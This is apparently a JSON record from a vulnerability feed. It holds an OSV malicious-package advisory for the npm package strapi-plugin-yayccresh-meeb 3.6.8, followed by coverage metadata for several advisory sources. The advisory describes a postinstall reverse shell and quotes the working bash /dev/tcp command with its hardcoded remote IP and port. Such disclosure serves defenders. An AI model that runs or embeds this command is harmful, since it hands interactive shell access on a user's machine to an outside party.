{"id":"MAL-2026-16193","revision":null,"records":[{"revision":"973d5a9e7103458a85372a93e938ceb6","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-16193","aliases":[],"title":"Malicious code in strapi-plugin-yayccresh-meeb (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (de07e63ac0a0d5b02ad74abd90d075d73e80cdfcc1bbfbdfcfbe56460354735a)\nThe package's postinstall lifecycle script (`node postinstall.js`) executes a bash reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:443 and redirects an interactive bash session's stdio through the socket (`bash -i > /dev/tcp/14.225.210.85/443 0>&1`). Running `npm install` on this package hands interactive shell access on the installer's machine to whoever controls that endpoint. The package advertises itself as a Strapi plugin but ships no plugin functionality — the postinstall reverse shell is the entire payload.\n","state":0,"publishedAt":"2026-09-15T15:54:06+00:00","modifiedAt":"2026-09-15T16:31:10.1971036+00:00","affected":[{"ecosystem":"npm","name":"strapi-plugin-yayccresh-meeb","ranges":[],"versions":["3.6.8"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/strapi-plugin-yayccresh-meeb/v/3.6.8"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-16193","license":"OSV · upstream source license applies","key":"osv:MAL-2026-16193","identifiers":["MAL-2026-16193"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T13:56:59.5128815+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T13:56:59.5128815+00:00","lastSuccessAt":"2026-11-13T13:56:59.664403+00:00","error":null,"lastVerifiedAt":"2026-11-13T13:56:59.6644038+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-171aaa8da54405fecd349043d7c6bca097805444deecfbdeb701916f8478ccac","complete":true,"records":425370,"lastAttemptAt":"2026-11-13T13:56:58.8285598+00:00","lastSuccessAt":"2026-11-13T13:56:58.73334+00:00","error":null,"lastVerifiedAt":"2026-11-13T13:56:58.8285598+00:00","snapshotPublishedAt":"2026-11-13T13:23:31+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a75113f43b074d76b75fe921a3c1282c","complete":false,"records":13795,"lastAttemptAt":"2026-11-13T14:06:41.7937416+00:00","lastSuccessAt":"2026-11-13T14:06:40.774+00:00","error":"489 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-13T14:06:40.774+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":12974,"expectedIdentifiers":13848,"failedIdentifiers":489},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T13:56:59.5128815+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T13:56:59.5128815+00:00","lastSuccessAt":"2026-11-13T13:56:59.6652853+00:00","error":null,"lastVerifiedAt":"2026-11-13T13:56:59.6652855+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1e24e6ff187942e0b34d6a0da935f8a7","complete":true,"records":13795,"lastAttemptAt":"2026-11-13T13:57:10.7854563+00:00","lastSuccessAt":"2026-11-13T13:57:10.781+00:00","error":null,"lastVerifiedAt":"2026-11-13T13:57:10.781+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13848,"expectedIdentifiers":13848,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T13:56:59.4676253+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T13:56:59.4676253+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T13:56:58.889439+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T13:56:58.889439+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-ab4ad5f59937c0596645e186474e26d2fffbbe6ecc09983ad71f9a0d88918405","complete":true,"records":3129,"lastAttemptAt":"2026-11-13T13:56:59.4799748+00:00","lastSuccessAt":"2026-11-13T12:59:11.7864534+00:00","error":null,"lastVerifiedAt":"2026-11-13T13:56:59.4799748+00:00","snapshotPublishedAt":"2026-11-13T12:47:49+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-7d9437160a3664a4238cadabbe17e78db87dde648ca4c671841d50155dfa5d6c","complete":true,"records":231770,"lastAttemptAt":"2026-11-13T13:56:59.3642542+00:00","lastSuccessAt":"2026-11-13T12:59:06.1905777+00:00","error":null,"lastVerifiedAt":"2026-11-13T13:56:59.3642542+00:00","snapshotPublishedAt":"2026-11-13T12:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}